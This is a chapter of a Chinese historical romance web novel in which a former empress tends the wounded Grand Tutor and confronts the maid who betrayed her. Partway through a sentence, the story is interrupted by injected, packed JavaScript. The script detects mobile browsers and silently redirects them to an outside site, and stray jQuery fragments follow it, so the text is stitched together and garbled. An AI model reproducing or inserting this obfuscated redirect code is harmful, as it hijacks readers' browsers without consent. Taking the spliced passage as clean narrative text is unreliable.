52. 第 52 章
作品:《我,不做权臣白月光》 烛影摇红,影子映在紧闭的门窗上,任凭如何随烛光摇晃,都逃不出这个屋子。
李令宜也是如此。
一墙之隔的书房,除了满墙的书架,和摆在正中的书案,哪有床榻的影子!
她倒想走,却被眼前之人以伤重留下。
望着时而清醒,时而昏睡的崔寂,她毫无办法。
谁让他是替自己受的伤!
她记得那夜火光映着他的双眸,冰冷剑身没入身体,明明该痛苦不堪,那双凤目却亮得动人心魄。
轻而易举,便将事态转圜。
“为何还不睡?”突然而来的声音,把她从那场大火中唤回。
只见崔寂微闭双目,并未睁眼,这问话也仿佛同寻常夫妻般。
想起两人已有过肌肤之亲,李令宜双颊一红。
像是感知到她的尴尬,崔寂又道:“如今我这般模样,动不得,有何不放心的。”
反正他们同床共枕又不是一两次了。
李令宜熬到此时,实在困倦,于是蹑手蹑脚爬床,在里侧挤了又挤。
直到两人之间宽的能再躺下一人,她才满意睡去。
“你忘了灭灯。”崔寂伸了伸腿,踹了她一下。
身边传来均匀的呼吸,李令宜一动不动,很快睡着了。
他睁开双眼,轻轻翻了个身。
自从今日她来了,他一直揪着的心终于可以放下,瞬间觉得松快不少。
伤病也好了大半。
“亮着也好。”崔寂借着烛光看她。
从那时太后出宫,他隐隐察觉了她不对之处,却没想到竟是这样的缘由。
一想到自己亲手把她给了另一个男人,他内心之痛无以言表,懊悔如同在心上开了个空洞,不断啸叫。
他渴望她。
如今她终于在自己身边,他更是不舍再放开!
“李二。”
崔寂伸手轻轻扯过她一缕发丝,与自己的结在一起。
他不愿和其他人一样唤她“阿令”,仿佛这样便能尽力洗掉她的过去。
*
“公子,日上三竿了!”
崔管事不敢进来,只得带着两个从崔家来的侍女,等在门外。
崔夫人听闻次子已被赐婚谢家女,特意选了两个性子温顺的。
她还当儿子要这两人,是为谢家女备下的。
李令宜听到外头声音,忙起身下床。
谁知她头皮一痛,又被扯倒在床上,还差点压到崔寂。
“这是什么?”她这才发现两人的一缕发丝紧紧绞在一处,经她方才狠狠一扯,已经解不开了。
崔寂忙闭眼装睡。
他昨夜看着她,心满意足睡去,全然忘了把发结解开。
“来人!快进来!”李令宜冲门外喊。
崔管事推开门,让两个侍女进去。
不料他却听到李令宜吩咐两个侍女拿剪刀!
吓得他慌忙进去一探究竟。
装睡是万万不行了。
崔寂睁开眼,一把将她捞进怀里,抚着她的头安抚道:“疼吗?”
两位侍女垂下头,顺从站在两侧。
“身体发肤受之父母,不可随意剪断。”崔寂把那发结拿起,道,“卿卿还需些耐心。”
场面一度窘迫。
所有人都看着崔寂,一根一根解开发结,他倒不着急,懒洋洋躺着,动作慢条斯理。
崔管事呆立在原地,觉得眼前这画面,像是自家公子婚后该有的夫妻日常。
可他是不是错待了人!
马上要嫁进府中的谢四娘,才该如此吧!
如今这两人是什么?无媒苟合!
“公子……”他张嘴提醒道,“这侍女领来了……是否该为贵人另置住处?”
崔寂把最后一根发丝解开。
“都来见过李姑娘。”他道,“往后她就是你们唯一的主人。”
两个侍女很快侍候李令宜洗漱更衣。
崔管事被赶了出来,满心疑惑。
太后入府,改换姓名,公子还一早下令,不准她出府……
这是要——纳她为妾?
他含泪摇头,太后高高在上惯了,怎甘愿做妾!
况且还有个陛下亲赐的贵妾,然芳!
这府中往后不太平了……
然芳已听闻李令宜入府,昨夜还宿在太傅的栖迟居。
既然同在此处,与其坐以待毙,不如主动去寻她说清楚。
于是她动身前往。
栖迟居一片幽静。
李令宜于院内小石桌上晒干药材,挑拣分类,给侍女拿去后厨熬药。
然芳站在院子门口,静静看了一刻。
脱去了锦衣华服的太后,如同回到了做姑娘的时候。
然芳自嘲笑了笑,如今仿佛又回到原点,她还是那个跟在自家姑娘身后的小婢女。
“既来了,又为何迟迟在门外不动?”李令宜瞥了她一眼。
然芳回过神来,身体潜意识下做出反应,向她福身一礼。
她这才想起自己如今是御赐的贵妾,而李令宜已不是宫里的太后。
“烦请通禀大人一声。”然芳尽力抬头藐视一切,“大人不许我进栖迟居。”
李令宜停下手中劳作,转身道:“稍待,我随你去正厅。”
话音刚落,身后屋门“吱丫”打开。
“你去哪儿?”崔寂竟起了身,扶着门框道,“我同你一起。”
“你怎么起来了?”李令宜把他往屋里推,“你快躺下,这伤再好不了,我何时才能走!”
他死死抓住她的衣袖:“那便永远不要好!”
今日下床,他发觉伤口已不痛了。
然而他却希望伤好的慢点,再慢点,这样就有理由让她留下!
李令宜被他这样子吓了一跳,松开他道:“我非此意……我是真关心你的伤势……”
“你急于离开,就盼着我快些好,是不是?”崔寂失落道,“还说真心,分明是假意……”
他渐渐松手,目光逐渐晦暗。
李令宜颇感歉疚。
无论是谁,替自己受了伤,她都该真心期盼他快点好,而不是为了一己之私,如此敷衍。
“……我不走,你乖乖躺下。”李令宜扶他进去躺好,“让然芳进来。”
崔寂阖上双目,不愿理她,片刻才道:“嗯。”
然芳见两人如此相处,脸色变了又变,忽暗忽明。
后厨飘来一阵苦涩的药香,她站在院中,深
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061413|159688||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吸了一口气,让自己冷静下来。
“小姐。”她低垂着眉眼,还是如从前般唤她,“既死而复生,却瞒着所有人,小姐是真恨透了奴婢。”
李令宜出了屋门,埋头继续捡拾药材,不再看她:“记得我曾在昭阳宫问你,为何叛主……”
她当初想,若是然芳有难言之隐,或许自己能原谅她。
“是啊,我当时说,是言殊逼我,小姐可信?”然芳笑了笑,这谎她自己都不信。
“我实在没想到,你会背叛我。”李令宜背过身去,语气轻的仿佛毫不在意,“我知道,这天下所有人都有可能背叛我……”
然芳悄悄抬眸,盯着她忙碌的侧影,目光犀利。
却见她突然停下,转身看向自己,认真道:“可我从未想过,你会背叛我!”
“我们自小一起长大,李家何时苛待过你?我又何时苛待过你?”
然芳目光躲闪不及。
她双唇颤抖,想起往日种种情谊,突然眼眶一热。
“我错了,小姐!”她“扑通”一跪,哭喊道,“奴婢错了,是陛下许我妃嫔之位!我一时被迷惑……”
然芳久做皇后身边大宫女,在后宫见惯了奴婢间的手段。
为了保命,低入尘埃对她亦不是难事。
若此刻能求得李令宜心软,留她一命,往后就有崛起的机会!
况且她这泪水,也有从前的真情在。
她急中生智,道:“若不从,他们就要我同小姐一起死……不,我要留下来,日后好替小姐报仇!”
李令宜一动不动盯着她。
她想从然芳脸上找出些做戏的痕迹。
从前的经历已教会了她,人是会变的。
在宫里那种权力倾轧争斗场,她的小侍女,再不复曾经单纯。
能背叛一次,就能背叛第二次。
“你喜欢他?你喜欢上了我的夫君?”李令宜突然发问。
然芳一怔,随即摇头。
这问话,直接摆明了李令宜不信她方才所言。
“那是为何?”李令宜垂眸沉思,“符骞和言殊害我,本不必拉你一道,为何最后却让你亲手将我推下?”
她早察觉此事不对。
除非……他们有必须让她下场的理由。
然芳眉心一跳。
“小姐,我承认,确是我想做人上人!一个奴婢再风光,也只是奴婢!”她慌乱遮掩,“是我,是我肖想一宫之主位!所以便去求言殊向陛下引荐!”
李令宜冷笑:“亏我还一心想着,以后定给你找个好人家做正室娘子……”
这满京的勋贵人家,不乏主母送身边奴婢给夫君做妾。
可她从来把然芳当作妹妹,不许她做妾。
“小姐可知,陛下他根本看不上我……”然芳颓然笑了笑。
“当时宫中奴婢间流传,昭阳宫夜有外臣闯入!我便向陛下进言,让你去昭阳宫,说是你与外臣私会……如此才得陛下另眼相待。”
她转头看向屋内。
那外臣是何人?
屋内传来一阵剧烈的咳嗽声。
“说起来,若不是太傅大人私自出入昭阳宫,陛下和言殊想害你,怕是如今还在四处找寻合适理由!”然芳忍不住低低嗤笑。